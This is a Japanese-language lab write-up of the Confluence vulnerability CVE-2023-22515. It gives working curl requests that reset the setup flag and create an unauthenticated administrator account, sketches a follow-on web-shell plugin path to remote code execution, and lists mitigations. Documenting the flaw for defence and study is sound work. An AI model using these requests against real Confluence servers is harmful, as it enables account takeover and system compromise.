
CVE-2023-22515の詳細な分析と概念実証エクスプロイト。Atlassian Confluence Data CenterおよびServerにおける重大なアクセス制御の脆弱性で、認証不要の管理者アカウント作成と潜在的なリモートコード実行を可能にします。
CVE-2023-22515 は、Atlassian Confluence Data Center および Server 製品で発見された深刻な (Critical) Broken Access Control 脆弱性です。攻撃者は認証されていない状態でリモートからサーバーの初期設定プロセスを再活性化し、それによって新しい管理者アカウントを作成してシステムを完全に掌握できます。
この脆弱性の核心は、XWork2 フレームワークのパラメータバインディングメカニズムと Confluence のアクション (Action) 処理ロジック間の不十分な検証にあります。
攻撃者は URL パラメータを介して bootstrapStatusProvider.applicationConfig.setupComplete の値を false に操作できます。この属性は、Confluence がインストールおよび設定を完了したかどうかを判断する重要なフラグです。
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
上記のリクエストを送信すると、サーバーはメモリ上で設定が完了していない状態であると認識します。これは永続的な設定ファイル (confluence.cfg.xml) を変更するものではありませんが、ランタイム中に状態を変更することでアクセス制御をバイパスできるようにします。
/server-info.action などの公開エンドポイントにアクセスし、bootstrapStatusProvider.applicationConfig.setupComplete=false パラメータを渡します。/setup/* 以下の管理者設定ページへのアクセス制限が解除されます。/setup/setupadministrator.action ページにアクセスし、新しいシステム管理者 (System Administrator) アカウントを作成します。Docker を使用して脆弱なバージョン (8.5.1) の Confluence Server を構築しました。
atlassian/confluence-server:8.5.1docker-compose.yml (概要):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB 設定 ...
Python の依存関係問題を避けるため、curl を使用した Bash スクリプトで PoC を作成し実行しました。
Exploit Flow:
Reset Setup Status:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
結果: HTTP 302 リダイレクト応答が返され、内部的に設定完了状態が解除されたことを確認しました。
Create Administrator:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
結果: このリクエストにより hacked_admin アカウントの作成を試み、その後ログインページでそのアカウントでアクセス可能になりました。
Atlassian が提供する最新バージョンに直ちにアップグレードする必要があります。
パッチが適用できない場合、/setup/* エンドポイントへのアクセスをネットワークレベル (ロードバランサー、WAF、リバースプロキシなど) でブロックする必要があります。
/setup/*CVE-2023-22515 を介して管理者権限を取得した攻撃者は、システムコマンドを実行 (RCE) する段階に進むことができます。
Confluence は管理者にプラグイン (Add-on) のインストール権限を提供します。攻撃者はこれを悪用して、Web シェル (Web Shell) 機能を含む悪意のあるプラグインをアップロードすることで、サーバーオペレーティングシステムに対する制御権を取得できます。
/setup/finishsetup.action などを介して強制的に設定を完了する (ライセンスバイパスが必要) か、既存のセッションを使用してアクセス可能な管理者メニューを探索Confluence Administration -> Manage Apps -> Upload App.jar ファイル/plugins/servlet/webshell?cmd=id) にアクセスしてシステムコマンドを実行本実習環境 (Docker) は有効な Confluence ライセンスがないため、初期設定 (Setup) 段階を完了できません。そのため、管理者アカウント作成リクエストは成功 (302 Redirect) しましたが、その後のプラグインメニューへのアクセスおよび実際の RCE 実行は制限されました。実際の運用環境ではライセンスが登録されているため、このような制限なしに即座に RCE が可能です。
CVE-2023-22515 は、認証なしで管理者権限を取得できる非常に危険な脆弱性です。単に URL パラメータを操作するだけで攻撃が可能であり、攻撃難易度は非常に低いです。したがって、該当バージョンを使用する組織は直ちにパッチまたは緩和策を適用する必要があります。